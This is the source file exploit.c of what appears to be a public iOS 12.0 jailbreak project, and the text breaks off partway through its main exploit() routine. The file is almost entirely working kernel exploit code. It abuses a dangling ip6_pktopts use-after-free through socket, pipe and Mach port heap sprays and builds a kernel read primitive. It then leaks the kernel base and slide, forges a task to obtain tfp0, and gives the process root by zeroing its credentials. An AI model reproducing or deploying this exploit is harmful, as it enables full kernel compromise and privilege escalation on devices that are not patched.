README.md
Rendering markdown...
//
// exploit.c
// se12.0exploit
//
// Created by Justin Sherman on 1/13/20.
// Copyright © 2020 Justin Sherman. All rights reserved.
//
#include <errno.h>
#include <net/if.h>
#include <pthread/pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <unistd.h>
#include "array.h"
#include "exploit.h"
static const int PROC_TASK_OFFSET = 0x10;
static const int PROC_PID_OFFSET = 0x60;
static const int PROC_UCRED_OFFSET = 0xf8;
static const int TASK_VMMAP_OFFSET = 0x20;
static const int TASK_ITK_REGISTERED_OFFSET = 0x2e8;
static const int TASK_BSDINFO_OFFSET = 0x358;
static const int POSIX_CRED_CR_UID_OFFSET = 0x18;
static const int POSIX_CRED_CR_RUID_OFFSET = 0x1c;
static const int POSIX_CRED_CR_SVUID_OFFSET = 0x20;
static const int POSIX_CRED_CR_RGID_OFFSET = 0x68;
static const int POSIX_CRED_CR_SVGID_OFFSET = 0x6c;
static const int UCRED_CR_LABEL_OFFSET = 0x78;
/* pipe stuff */
static const int PIPE_PIPEBUF_BUFFER_OFF = 0x10;
/* these offsets were found in fp_getfvp */
static const int PROC_P_FD_OFFSET = 0x100;
static const int FILEDESC_FD_OFILES_OFFSET = 0;
static const int FILEDESC_FD_NFILES_OFFSET = 0x48;
static const int FILEPROC_F_FGLOB_OFFSET = 0x8;
/* these offsets were found in mac_file_setxattr */
static const int FILEGLOB_FG_OPS_OFFSET = 0x28;
static const int FILEGLOB_FO_TYPE_OFFSET = 0;
static const int FILEGLOB_FG_DATA_OFFSET = 0x38;
/* so we can tell which pipe we wrote to if our process has multiple pipes */
static const uint64_t FAKE_TASK_PIPE_MAGIC = 0x1133557799bbddff;
/* I use ip6_pktopts->ip6po_minmtu to store metadata about where a given
* ip6_pktopts struct got reallocated.
* |31 16 |15 0
* **************** ****************
* minmtu magic idx of pipe
*
*/
static const uint32_t MINMTU_MAGIC = 0xcafe;
static const uint32_t MINMTU_MAGIC_MASK = 0xffff0000;
static const uint32_t MINMTU_PIPEIDX_MASK = 0x0000ffff;
#define MAGIC_FROM_MINMTU(minmtu) (((minmtu) & MINMTU_MAGIC_MASK) >> 16)
#define PIPEIDX_FROM_MINMTU(minmtu) ((minmtu) & MINMTU_PIPEIDX_MASK)
static const uint64_t LEAKED_PORT_CONTEXT = 0x1122334455667788;
/* I use ipc_port->ip_context to store metadata about where our fake port got
* reallocated.
* |63 32 31| 0
* ******************************** *********************************
* fake port context magic idx of pipe
*
*/
static const vm_address_t CONTEXT_MAGIC_MASK = 0xffffffff00000000;
static const vm_address_t CONTEXT_PIPEIDX_MASK = 0x00000000ffffffff;
static const vm_address_t CONTEXT_MAGIC = 0xaabbccdd;
#define MAGIC_FROM_CONTEXT(ctx) (((ctx) & CONTEXT_MAGIC_MASK) >> 32)
#define PIPEIDX_FROM_CONTEXT(ctx) ((ctx) & CONTEXT_PIPEIDX_MASK)
static kern_return_t create_IOSurface_client(mach_port_t *client_out,
uint32_t *surface_id_out){
CFMutableDictionaryRef matching_dict = IOServiceMatching("IOSurfaceRoot");
if(!matching_dict)
return KERN_FAILURE;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
matching_dict);
if(service == IO_OBJECT_NULL)
return KERN_FAILURE;
io_connect_t client = IO_OBJECT_NULL;
kern_return_t kret = IOServiceOpen(service, mach_task_self(), 0, &client);
if(kret)
return kret;
uint32_t dict[] = {
kOSSerializeBinarySignature,
kOSSerializeEndCollection | kOSSerializeDictionary | 1,
kOSSerializeString | 19,
0x75534f49, 0x63616672, 0x6c6c4165, 0x6953636f, 0x657a, /* "IOSurfaceAllocSize" */
kOSSerializeEndCollection | kOSSerializeNumber | 32,
0x1000, 0x0,
};
/* iPhone 8,4 iOS 12.0 (16A366) */
size_t surface_sz = 0xdd0;
char *surface = malloc(surface_sz);
kret = IOConnectCallStructMethod(client, IOSURFACE_CREATE, dict, sizeof(dict),
surface, &surface_sz);
if(kret)
return kret;
*surface_id_out = *(uint32_t *)((uint8_t *)surface + 0x18);
free(surface);
surface = NULL;
*client_out = client;
return KERN_SUCCESS;
}
static mach_port_t kalloc(int len){
mach_port_t recv_port;
kern_return_t kret = mach_port_allocate(mach_task_self(),
MACH_PORT_RIGHT_RECEIVE, &recv_port);
if(kret)
return MACH_PORT_NULL;
mach_port_limits_t limits = {0};
limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
mach_msg_type_number_t cnt = MACH_PORT_LIMITS_INFO_COUNT;
mach_port_set_attributes(mach_task_self(), recv_port, MACH_PORT_LIMITS_INFO,
(mach_port_info_t)&limits, cnt);
struct ool_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_port_desc;
};
int port_count = len / 8;
/* calloc for MACH_PORT_NULL */
mach_port_t *ports = calloc(port_count, sizeof(mach_port_t));
struct ool_msg *oolmsg = malloc(sizeof(struct ool_msg));
oolmsg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0) |
MACH_MSGH_BITS_COMPLEX;
oolmsg->hdr.msgh_size = sizeof(struct ool_msg);
oolmsg->hdr.msgh_remote_port = recv_port;
oolmsg->hdr.msgh_local_port = MACH_PORT_NULL;
oolmsg->hdr.msgh_id = 0xaabbccdd;
oolmsg->body.msgh_descriptor_count = 1;
mach_msg_ool_ports_descriptor_t *opd = &oolmsg->ool_port_desc;
opd->address = ports;
opd->count = port_count;
opd->deallocate = 0;
opd->copy = MACH_MSG_PHYSICAL_COPY;
opd->disposition = MACH_MSG_TYPE_MAKE_SEND;
opd->type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
kret = mach_msg(&oolmsg->hdr, MACH_SEND_MSG, sizeof(*oolmsg), 0,
MACH_PORT_NULL, 0, MACH_PORT_NULL);
free(oolmsg);
free(ports);
if(kret)
return MACH_PORT_NULL;
return recv_port;
}
static mach_port_t kalloc_with_port(int len, mach_port_t port){
mach_port_t recv_port;
kern_return_t kret = mach_port_allocate(mach_task_self(),
MACH_PORT_RIGHT_RECEIVE, &recv_port);
if(kret)
return MACH_PORT_NULL;
mach_port_limits_t limits = {0};
limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
mach_msg_type_number_t cnt = MACH_PORT_LIMITS_INFO_COUNT;
mach_port_set_attributes(mach_task_self(), recv_port, MACH_PORT_LIMITS_INFO,
(mach_port_info_t)&limits, cnt);
struct ool_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_port_desc;
};
int port_count = len / 8;
mach_port_t *ports = malloc(sizeof(mach_port_t) * port_count);
for(int i=0; i<port_count; i++)
ports[i] = port;
struct ool_msg *oolmsg = malloc(sizeof(struct ool_msg));
oolmsg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0) |
MACH_MSGH_BITS_COMPLEX;
oolmsg->hdr.msgh_size = sizeof(struct ool_msg);
oolmsg->hdr.msgh_remote_port = recv_port;
oolmsg->hdr.msgh_local_port = MACH_PORT_NULL;
oolmsg->hdr.msgh_id = 0xaabbccdd;
oolmsg->body.msgh_descriptor_count = 1;
mach_msg_ool_ports_descriptor_t *opd = &oolmsg->ool_port_desc;
opd->address = ports;
opd->count = port_count;
opd->deallocate = 0;
opd->copy = MACH_MSG_PHYSICAL_COPY;
opd->disposition = MACH_MSG_TYPE_MAKE_SEND;
opd->type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
kret = mach_msg(&oolmsg->hdr, MACH_SEND_MSG, sizeof(*oolmsg), 0,
MACH_PORT_NULL, 0, MACH_PORT_NULL);
free(oolmsg);
free(ports);
if(kret)
return MACH_PORT_NULL;
return recv_port;
}
static int create_vulnerable_socket(void){
int s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
if(s == -1){
printf("error creating socket: %s\n", strerror(errno));
return -1;
}
struct so_np_extensions ex = {
.npx_flags = SONPX_SETOPTSHUT,
.npx_mask = SONPX_SETOPTSHUT
};
setsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, &ex, sizeof(ex));
int minmtu = IP6PO_MINMTU_ALL;
setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));
return s;
}
static int get_minmtu(int socket, uint32_t *minmtu){
socklen_t minmtu_sz = sizeof(*minmtu);
return getsockopt(socket, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, &minmtu_sz);
}
static int get_tclass(int socket, uint32_t *tclass){
socklen_t sz = sizeof(*tclass);
return getsockopt(socket, IPPROTO_IPV6, IPV6_TCLASS, tclass, &sz);
}
static int increase_file_limit(void){
struct rlimit rl = {0};
int err = getrlimit(RLIMIT_NOFILE, &rl);
if(err){
printf("%s: getrlimit: %s\n", __func__, strerror(errno));
return err;
}
rl.rlim_cur = OPEN_MAX;
rl.rlim_max = rl.rlim_cur;
err = setrlimit(RLIMIT_NOFILE, &rl);
if(err){
printf("%s: setrlimit: %s\n", __func__, strerror(errno));
return err;
}
return 0;
}
static int _EarlyKernelRead64(int s, int *p, uint64_t kaddr, uint64_t *out){
struct ip6_pktopts old_pktopts = {0};
read(p[0], &old_pktopts, sizeof(old_pktopts));
struct ip6_pktopts new_pktopts = {0};
new_pktopts.ip6po_pktinfo = kaddr;
write(p[1], &new_pktopts, sizeof(new_pktopts));
struct in6_pktinfo info = {0};
socklen_t infosz = sizeof(info);
getsockopt(s, IPPROTO_IPV6, IPV6_PKTINFO, &info, &infosz);
/* I know I get 20 bytes from this, but reading 20 bytes at a time is weird */
*out = *(uint64_t *)&info;
return 0;
}
static int _EarlyKernelRead32(int s, int *p, uint64_t kaddr, uint32_t *out){
uint64_t out64 = 0;
if(_EarlyKernelRead64(s, p, kaddr, &out64))
return 1;
*out = *(uint32_t *)&out64;
return 0;
}
static int _EarlyKernelReadN(int s, int *p, uint64_t kaddr, uint8_t *out,
size_t length){
if(length % sizeof(uint32_t) != 0){
printf("%s: length needs to be divisible by %d\n", __func__,
sizeof(uint32_t));
return 1;
}
uint64_t current_loc = kaddr;
uint64_t end = kaddr + length;
size_t bytes_read = 0;
size_t bytes_left = length;
int ret = 0;
while(current_loc < end && ret == 0){
size_t chunk = sizeof(uint32_t);
if(chunk > bytes_left)
chunk = bytes_left;
uint32_t out32 = 0;
ret = _EarlyKernelRead32(s, p, current_loc, &out32);
*(uint32_t *)(out + bytes_read) = out32;
bytes_read += chunk;
current_loc += chunk;
bytes_left -= chunk;
}
return ret;
}
#define EarlyKernelRead32(kaddr, out) _EarlyKernelRead32(evil_socket, evil_pipe, (kaddr), (out))
#define EarlyKernelRead64(kaddr, out) _EarlyKernelRead64(evil_socket, evil_pipe, (kaddr), (out))
#define EarlyKernelReadN(kaddr, out, len) _EarlyKernelReadN(evil_socket, evil_pipe, (kaddr), (out), (len))
static kern_return_t KernelRead(mach_port_t tfp0, vm_address_t kaddr,
void *buffer, vm_size_t length){
vm_address_t current_loc = kaddr;
vm_address_t end = kaddr + length;
vm_size_t bytes_read = 0;
vm_size_t bytes_left = length;
kern_return_t kret = KERN_SUCCESS;
while(current_loc < end && kret == KERN_SUCCESS){
vm_size_t chunk = 0x100;
if(chunk > bytes_left)
chunk = bytes_left;
kret = vm_read_overwrite(tfp0, current_loc, chunk,
(vm_address_t)((uint8_t *)buffer + bytes_read), &chunk);
bytes_read += chunk;
current_loc += chunk;
bytes_left -= chunk;
}
return kret;
}
static kern_return_t KernelWrite(mach_port_t tfp0, vm_address_t kaddr,
void *data, mach_msg_type_number_t size){
return vm_write(tfp0, kaddr, (vm_offset_t)data, size);
}
static int _proc_pipes(int evil_socket, int *evil_pipe, uint64_t ourproc,
uint64_t **pipes_out, int *pipecnt_out){
uint64_t p_fd = 0;
EarlyKernelRead64(ourproc + PROC_P_FD_OFFSET, &p_fd);
uint64_t fd_ofiles = 0;
EarlyKernelRead64(p_fd + FILEDESC_FD_OFILES_OFFSET, &fd_ofiles);
uint32_t fd_nfiles = 0;
EarlyKernelRead32(p_fd + FILEDESC_FD_NFILES_OFFSET, &fd_nfiles);
int pipecnt = 0;
uint64_t *pipes = NULL;
for(uint32_t i=0; i<fd_nfiles; i++){
uint64_t cur_ofile = 0;
EarlyKernelRead64(fd_ofiles + (i * sizeof(void *)), &cur_ofile);
if(!cur_ofile)
continue;
uint64_t f_fglob = 0;
EarlyKernelRead64(cur_ofile + FILEPROC_F_FGLOB_OFFSET, &f_fglob);
if(!f_fglob)
continue;
uint64_t fg_ops = 0;
EarlyKernelRead64(f_fglob + FILEGLOB_FG_OPS_OFFSET, &fg_ops);
uint32_t fo_type = 0;
EarlyKernelRead32(fg_ops + FILEGLOB_FO_TYPE_OFFSET, &fo_type);
uint64_t fg_data = 0;
EarlyKernelRead64(f_fglob + FILEGLOB_FG_DATA_OFFSET, &fg_data);
if(fo_type == DTYPE_PIPE){
/* fg_data points to a pipe struct */
if(!pipes)
pipes = malloc(sizeof(uint64_t) * ++pipecnt);
else{
uint64_t *pipes_rea = realloc(pipes, sizeof(uint64_t) * ++pipecnt);
pipes = pipes_rea;
}
pipes[pipecnt - 1] = fg_data;
}
}
*pipes_out = pipes;
*pipecnt_out = pipecnt;
return 0;
}
#define proc_pipes(pipes_out, pipecnt_out) _proc_pipes(evil_socket, evil_pipe, \
myproc_kaddr, (pipes_out), (pipecnt_out))
static void _cleanup(int **pipes, int num_pipes, int *sockets,
int num_sockets, mach_port_t **pagesize_kallocs,
int num_pagesize_kallocs, mach_port_t *kalloc_512s,
int num_kalloc_512s){
for(int i=0; i<num_pipes; i++){
close(*pipes[i]);
close(*(pipes[i] + 1));
free(pipes[i]);
}
for(int i=0; i<num_sockets; i++)
close(sockets[i]);
for(int i=0; i<num_pagesize_kallocs; i++)
mach_port_destroy(mach_task_self(), (*pagesize_kallocs)[i]);
free(*pagesize_kallocs);
*pagesize_kallocs = NULL;
for(int i=0; i<num_kalloc_512s; i++)
mach_port_destroy(mach_task_self(), kalloc_512s[i]);
}
#define CLEANUP _cleanup(pipes, num_pipes, sockets, num_sockets, \
&pagesize_kallocs, num_pagesize_kallocs, kalloc_512s, num_kalloc_512s)
static kern_return_t root(mach_port_t tfp0, uint64_t creds, uid_t *orig_uid,
uid_t *orig_ruid, uid_t *orig_svuid, gid_t *orig_rgid, gid_t *orig_svgid){
kern_return_t kret = KernelRead(tfp0, creds + POSIX_CRED_CR_UID_OFFSET,
orig_uid, sizeof(uid_t));
if(kret)
return kret;
kret = KernelRead(tfp0, creds + POSIX_CRED_CR_RUID_OFFSET, orig_ruid, sizeof(uid_t));
if(kret)
return kret;
kret = KernelRead(tfp0, creds + POSIX_CRED_CR_SVUID_OFFSET, orig_svuid, sizeof(uid_t));
if(kret)
return kret;
kret = KernelRead(tfp0, creds + POSIX_CRED_CR_RGID_OFFSET, orig_rgid, sizeof(gid_t));
if(kret)
return kret;
kret = KernelRead(tfp0, creds + POSIX_CRED_CR_SVGID_OFFSET, orig_svgid, sizeof(gid_t));
if(kret)
return kret;
uint32_t zero = 0;
kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_UID_OFFSET, &zero, sizeof(uid_t));
if(kret)
return kret;
kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_RUID_OFFSET, &zero, sizeof(uid_t));
if(kret)
return kret;
kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_SVUID_OFFSET, &zero, sizeof(uid_t));
if(kret)
return kret;
kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_RGID_OFFSET, &zero, sizeof(gid_t));
if(kret)
return kret;
kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_SVGID_OFFSET, &zero, sizeof(gid_t));
return kret;
}
static int unroot(mach_port_t tfp0, uint64_t creds, uid_t orig_uid,
uid_t orig_ruid, uid_t orig_svuid, gid_t orig_rgid, gid_t orig_svgid){
kern_return_t kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_UID_OFFSET,
&orig_uid, sizeof(uid_t));
if(kret)
return kret;
kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_RUID_OFFSET, &orig_ruid,
sizeof(uid_t));
if(kret)
return kret;
kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_SVUID_OFFSET, &orig_svuid,
sizeof(uid_t));
if(kret)
return kret;
kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_RGID_OFFSET, &orig_rgid,
sizeof(gid_t));
if(kret)
return kret;
kret = KernelWrite(tfp0, creds + POSIX_CRED_CR_SVGID_OFFSET, &orig_svgid,
sizeof(gid_t));
return kret;
}
int exploit(mach_port_t *tfp0out){
vm_size_t pagesize;
_host_page_size(mach_host_self(), &pagesize);
increase_file_limit();
mach_port_t leaked_port;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &leaked_port);
mach_port_set_context(mach_task_self(), leaked_port, LEAKED_PORT_CONTEXT);
mach_port_insert_right(mach_task_self(), leaked_port, leaked_port,
MACH_MSG_TYPE_MAKE_SEND);
int num_pipes = 3100;
int *pipes[num_pipes];
for(int i=0; i<num_pipes; i++)
pipes[i] = malloc(sizeof(int) * 2);
int num_sockets = 4000;
int sockets[num_sockets];
printf("Creating %d vulnerable sockets...\n", num_sockets);
for(int i=0; i<num_sockets; i++){
/* this will initialize inp_depend6.inp6_outputopts for this socket */
/* kalloc.192 allocation */
int s = create_vulnerable_socket();
if(s == -1){
printf("Could not create socket %d\n", i);
return 1;
}
sockets[i] = s;
}
/* 384 MB */
int zone_map_sz = 402653184;
/* page size allocations, so we know these free pages will get
* sent back to the zone allocator
*/
int kzone = pagesize;
/* fill 90% of the zone map, it's a lot but not so much that it triggers
* garbage collection early
*/
int num_pagesize_kallocs = (zone_map_sz * .90) / kzone;
mach_port_t *pagesize_kallocs = malloc(sizeof(mach_port_t) * num_pagesize_kallocs);
printf("Doing %d pagesize (kalloc.%d) allocations to set up for future garbage "
"collection\n", num_pagesize_kallocs, kzone);
for(int i=0; i<num_pagesize_kallocs; i++){
mach_port_t p = kalloc(kzone);
if(p != MACH_PORT_NULL)
pagesize_kallocs[i] = p;
else{
printf("Ran out of kalloc.%d mem at %d\n", i, kzone);
num_pagesize_kallocs = i;
break;
}
}
printf("Freeing inp_depend6.inp6_outputopts for each socket...\n");
for(int i=0; i<num_sockets; i++)
disconnectx(sockets[i], 0, 0);
int gc_kalloc_zone = pagesize;
int num_gc_kallocs = (zone_map_sz * .60) / gc_kalloc_zone;
printf("%d more kalloc.%d allocations to try and trigger garbage collection\n",
num_gc_kallocs, gc_kalloc_zone);
int gc_brk = 0;
mach_port_t *gc_ports = malloc(sizeof(mach_port_t) * num_gc_kallocs);
uint64_t maxtime = 0;
for(int i=0; i<num_gc_kallocs; i++){
uint64_t start = mach_absolute_time();
mach_port_t p = kalloc(gc_kalloc_zone);
uint64_t end = mach_absolute_time();
if(p == MACH_PORT_NULL){
printf("Final kalloc.%d spray: no space @ %d\n", gc_kalloc_zone, i);
break;
}
gc_ports[i] = p;
uint64_t time = end - start;
if(time > maxtime){
maxtime = time;
printf("new maxtime %lld @ %d\n", maxtime, i);
}
if(time > 100000){
printf("Maybe gc at %d\n", i);
gc_brk = i;
break;
}
}
int num_gcports = gc_brk != 0 ? gc_brk : num_gc_kallocs;
/* ensure enough free pages for future garbage collection to reclaim */
for(int i=0; i<num_gcports; i++)
mach_port_destroy(mach_task_self(), gc_ports[i]);
free(gc_ports);
gc_ports = NULL;
/* create a bunch of kalloc.512 pipe buffers, if all went well,
* several of our pipe buffers should overlap with the dangling
* ip6_pktopts structs
*/
struct ip6_pktopts pipe_spray_opts = {0};
mach_port_t kalloc_512s[num_pipes];
int num_kalloc_512s = 0;
printf("Spraying pipe buffers and kalloc.512 OOL port allocations...\n");
for(int i=0; i<num_pipes; i++){
if(pipe(pipes[i])){
printf("create pipe %d: %s\n", i, strerror(errno));
CLEANUP;
return 1;
}
if(i % 2 == 0){
pipe_spray_opts.ip6po_minmtu = (MINMTU_MAGIC << 16) | i;
write(*(pipes[i] + 1), &pipe_spray_opts, sizeof(pipe_spray_opts));
}
else{
mach_port_t p = kalloc_with_port(512, leaked_port);
if(p != MACH_PORT_NULL){
kalloc_512s[i] = p;
num_kalloc_512s++;
}
}
/* go slow, we didn't wait for a possible gc to finish earlier */
pthread_yield_np();
usleep(100);
}
int evil_socket = -1;
int *evil_pipe = NULL;
int got_evil_things = 0;
struct array *kernel_pointer_array = array_new();
printf("Looking for reallocated ip6_pktopts structs, also collecting OOL"
" Mach port kernel pointers from them...\n");
for(int i=0; i<num_sockets; i++){
uint32_t minmtu = 0, tclass = 0;
if(get_minmtu(sockets[i], &minmtu) || get_tclass(sockets[i], &tclass))
continue;
uint32_t minmtu_magic = MAGIC_FROM_MINMTU(minmtu);
if(!got_evil_things && minmtu_magic == MINMTU_MAGIC){
evil_socket = sockets[i];
uint32_t possible_evil_pipe = PIPEIDX_FROM_MINMTU(minmtu);
if(possible_evil_pipe > num_pipes){
printf("pipe idx (%d) > num_pipes (%d)????\n",
possible_evil_pipe, num_pipes);
CLEANUP;
return 1;
}
evil_pipe = pipes[possible_evil_pipe];
got_evil_things = 1;
}
uint64_t possible_kptr = ((uint64_t)minmtu << 32) | tclass;
uint64_t mask = 0xffffffe000000000;
uint64_t result = 0xffffffe000000000;
if((possible_kptr & mask) == result){
/* so the top 24 bits are valid... what about the other 40? */
uint64_t bottom40 = possible_kptr & 0xfffffffff;
if(bottom40 < 0x100000000 && bottom40 > 0x10000)
array_insert(kernel_pointer_array, possible_kptr);
}
}
if(evil_socket == -1){
printf("Couldn't reallocate a controlled ip6_pktopts struct in kalloc.512\n");
CLEANUP;
return 1;
}
uint32_t minmtu = 0;
if(get_minmtu(evil_socket, &minmtu)){
printf("Couldn't read minmtu from evil_socket? %s\n", strerror(errno));
CLEANUP;
return 1;
}
printf("Got a controlled ip6_pktopts struct in kalloc.512, minmtu: %#x\n", minmtu);
printf("Evil socket: %d\n", evil_socket);
/* don't need all these anymore */
for(int i=0; i<num_pipes; i++){
if(pipes[i] != evil_pipe){
close(*pipes[i]);
close(*(pipes[i] + 1));
free(pipes[i]);
}
}
for(int i=0; i<num_sockets; i++){
if(sockets[i] != evil_socket)
close(sockets[i]);
}
printf("Looking for a Mach port pointer from the kalloc.512 OOL allocations"
" we did earlier...\n");
uint64_t most_frequent_kaddr = 0;
int max_occurences = 0;
for(int i=0; i<kernel_pointer_array->len; i++){
uint64_t cur_kaddr = kernel_pointer_array->items[i];
int occurences = 0;
for(int j=0; j<kernel_pointer_array->len; j++){
if(kernel_pointer_array->items[j] == cur_kaddr)
occurences++;
}
if(occurences > max_occurences){
most_frequent_kaddr = cur_kaddr;
max_occurences = occurences;
}
}
array_destroy(&kernel_pointer_array);
if(most_frequent_kaddr == 0){
printf("Something went wrong while trying to find the mode of kptr array\n");
return 1;
}
printf("Most frequent kernel pointer is %#llx with %d occurences "
"(if it isn't from the OOL allocations we'll probably panic)\n",
most_frequent_kaddr, max_occurences);
kport_t kport = {0};
EarlyKernelReadN(most_frequent_kaddr, &kport, sizeof(kport));
uint64_t leaked_port_kaddr = 0;
if(kport.ip_context == LEAKED_PORT_CONTEXT)
leaked_port_kaddr = most_frequent_kaddr;
else{
printf("%#llx is not from the OOL allocations?\n", most_frequent_kaddr);
for(int i=0; i<num_kalloc_512s; i++)
mach_port_destroy(mach_task_self(), kalloc_512s[i]);
return 1;
}
uint64_t myipcspace_kaddr = 0;
EarlyKernelRead64(leaked_port_kaddr + offsetof(kport_t, ip_receiver),
&myipcspace_kaddr);
mach_port_destroy(mach_task_self(), leaked_port);
uint64_t mytask_kaddr = 0;
EarlyKernelRead64(myipcspace_kaddr + offsetof(struct ipc_space, is_task),
&mytask_kaddr);
uint64_t myproc_kaddr = 0;
EarlyKernelRead64(mytask_kaddr + TASK_BSDINFO_OFFSET, &myproc_kaddr);
uint64_t myproc_ucred_kaddr = 0;
EarlyKernelRead64(myproc_kaddr + PROC_UCRED_OFFSET, &myproc_ucred_kaddr);
uint64_t kernproc_kaddr = 0;
uint64_t curproc = myproc_kaddr;
for(;;){
uint32_t pid = -1;
EarlyKernelRead32(curproc + PROC_PID_OFFSET, &pid);
if(pid == 0){
kernproc_kaddr = curproc;
break;
}
EarlyKernelRead64(curproc, &curproc);
}
uint64_t kerntask_kaddr = 0;
EarlyKernelRead64(kernproc_kaddr + PROC_TASK_OFFSET, &kerntask_kaddr);
uint64_t kern_vmmap_kaddr = 0;
EarlyKernelRead64(kerntask_kaddr + TASK_VMMAP_OFFSET, &kern_vmmap_kaddr);
/* register an IOSurfaceRootUserClient so we have access to its vtable,
* and can derive kernel base and kernel slide
*/
mach_port_t client = MACH_PORT_NULL;
int surface_id = 0;
kern_return_t kret = create_IOSurface_client(&client, &surface_id);
if(kret){
printf("Couldn't create IOSurface client: %s\n", mach_error_string(kret));
for(int i=0; i<num_kalloc_512s; i++)
mach_port_destroy(mach_task_self(), kalloc_512s[i]);
return 1;
}
mach_ports_register(mach_task_self(), &client, 1);
uint64_t iosurface_client_kaddr = 0;
EarlyKernelRead64(mytask_kaddr + TASK_ITK_REGISTERED_OFFSET,
&iosurface_client_kaddr);
uint64_t kern_ipc_space_kaddr = 0;
EarlyKernelRead64(iosurface_client_kaddr + offsetof(kport_t, ip_receiver),
&kern_ipc_space_kaddr);
uint64_t iosurface_client_kobject = 0;
EarlyKernelRead64(iosurface_client_kaddr + offsetof(kport_t, ip_kobject),
&iosurface_client_kobject);
uint64_t iosurface_vtable = 0;
EarlyKernelRead64(iosurface_client_kobject, &iosurface_vtable);
uint64_t kfxn = 0;
EarlyKernelRead64(iosurface_vtable, &kfxn);
uint64_t kaddr = kfxn;
kaddr &= ~0x3fff;
uint64_t kernel_base = 0;
for(;;){
uint32_t val = 0;
EarlyKernelRead32(kaddr, &val);
if(val == 0xfeedfacf){
kernel_base = kaddr;
break;
}
kaddr -= 0x4000;
}
uint64_t kernel_slide = kernel_base - 0xfffffff007004000;
printf("Kernel base: %#llx\n", kernel_base);
printf("Kernel slide: %#llx\n", kernel_slide);
/* unregister */
mach_ports_register(mach_task_self(), NULL, 0);
int taskpipe[2];
pipe(taskpipe);
ktask_t faketask = {0};
faketask.lock.data = 0;
faketask.lock.type = 0x22;
faketask.ref_count = 100;
faketask.active = 1;
faketask.map = kern_vmmap_kaddr;
write(taskpipe[1], &FAKE_TASK_PIPE_MAGIC, sizeof(FAKE_TASK_PIPE_MAGIC));
write(taskpipe[1], &faketask, sizeof(faketask));
/* zero the remainder of our fake task "struct" out. sizeof(struct task) shouldn't
* be more than 0x900 bytes
*/
uint64_t bytesleft = 0x900;
char zerobuf[bytesleft];
memset(zerobuf, 0, sizeof(zerobuf));
write(taskpipe[1], zerobuf, sizeof(zerobuf));
int numcolliders = 250;
mach_port_t colliderports[numcolliders];
for(int i=0; i<numcolliders; i++)
colliderports[i] = MACH_PORT_NULL;
int numcolliderpipes = numcolliders;
int *colliderpipes[numcolliderpipes];
for(int i=0; i<numcolliderpipes; i++)
colliderpipes[i] = malloc(sizeof(int) * 2);
/* page size allocations allocate linearly, so we're bound to have a pipe
* buffer with its bottom 16 bits zero'ed out
*/
int colliderkzone = pagesize;
mach_port_t tfp0 = MACH_PORT_NULL;
int *tfp0pipe = NULL;
for(int i=0; i<numcolliders; i++){
if(pipe(colliderpipes[i])){
printf("create collider pipe %d: %s\n", i, strerror(errno));
return 1;
}
char buf[colliderkzone - 1];
/* mark pipe buffer as a kalloc.colliderkzone allocation */
*(uint32_t *)buf = colliderkzone;
*(uint32_t *)(buf + 4) = i;
write(*(colliderpipes[i] + 1), buf, sizeof(buf));
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &colliderports[i]);
/* send right for mach_ports_register */
mach_port_insert_right(mach_task_self(), colliderports[i],
colliderports[i], MACH_MSG_TYPE_MAKE_SEND);
}
uint64_t *ourpipes = NULL;
int pipecnt = 0;
proc_pipes(&ourpipes, &pipecnt);
uint64_t faketask_kaddr = 0;
printf("%d pipes\n", pipecnt);
for(int i=0; i<numcolliders; i++){
if(colliderports[i] == MACH_PORT_NULL)
continue;
mach_ports_register(mach_task_self(), &colliderports[i], 1);
uint64_t cport_kaddr = 0;
EarlyKernelRead64(mytask_kaddr + TASK_ITK_REGISTERED_OFFSET, &cport_kaddr);
if(cport_kaddr == 0)
continue;
for(int j=0; j<pipecnt; j++){
uint64_t pipebuf = 0;
EarlyKernelRead64(ourpipes[j] + PIPE_PIPEBUF_BUFFER_OFF, &pipebuf);
if(!pipebuf)
continue;
/* check if this pipe is a collider pipe or if it holds our fake task */
uint64_t val = 0;
EarlyKernelRead64(pipebuf, &val);
if(faketask_kaddr == 0 && val == FAKE_TASK_PIPE_MAGIC)
faketask_kaddr = pipebuf + sizeof(FAKE_TASK_PIPE_MAGIC);
if((uint32_t)val != colliderkzone)
continue;
uint64_t cport_kaddr_upper48 = cport_kaddr & 0xffffffffffff0000;
if(pipebuf == cport_kaddr_upper48){
printf("Pipe buffer %d kptr and port %d kptr have the same upper"
" 48 bits: %#llx and %#llx\n", j, i, pipebuf, cport_kaddr);
tfp0 = colliderports[i];
uint32_t pipeidx = 0;
EarlyKernelRead32(pipebuf + 4, &pipeidx);
printf("tfp0 pipe is colliderpipe %d\n", pipeidx);
tfp0pipe = colliderpipes[pipeidx];
break;
}
}
/* unregister */
mach_ports_register(mach_task_self(), NULL, 0);
if(tfp0 != MACH_PORT_NULL)
break;
}
free(ourpipes);
ourpipes = NULL;
for(int i=0; i<num_pagesize_kallocs; i++)
mach_port_destroy(mach_task_self(), pagesize_kallocs[i]);
free(pagesize_kallocs);
pagesize_kallocs = NULL;
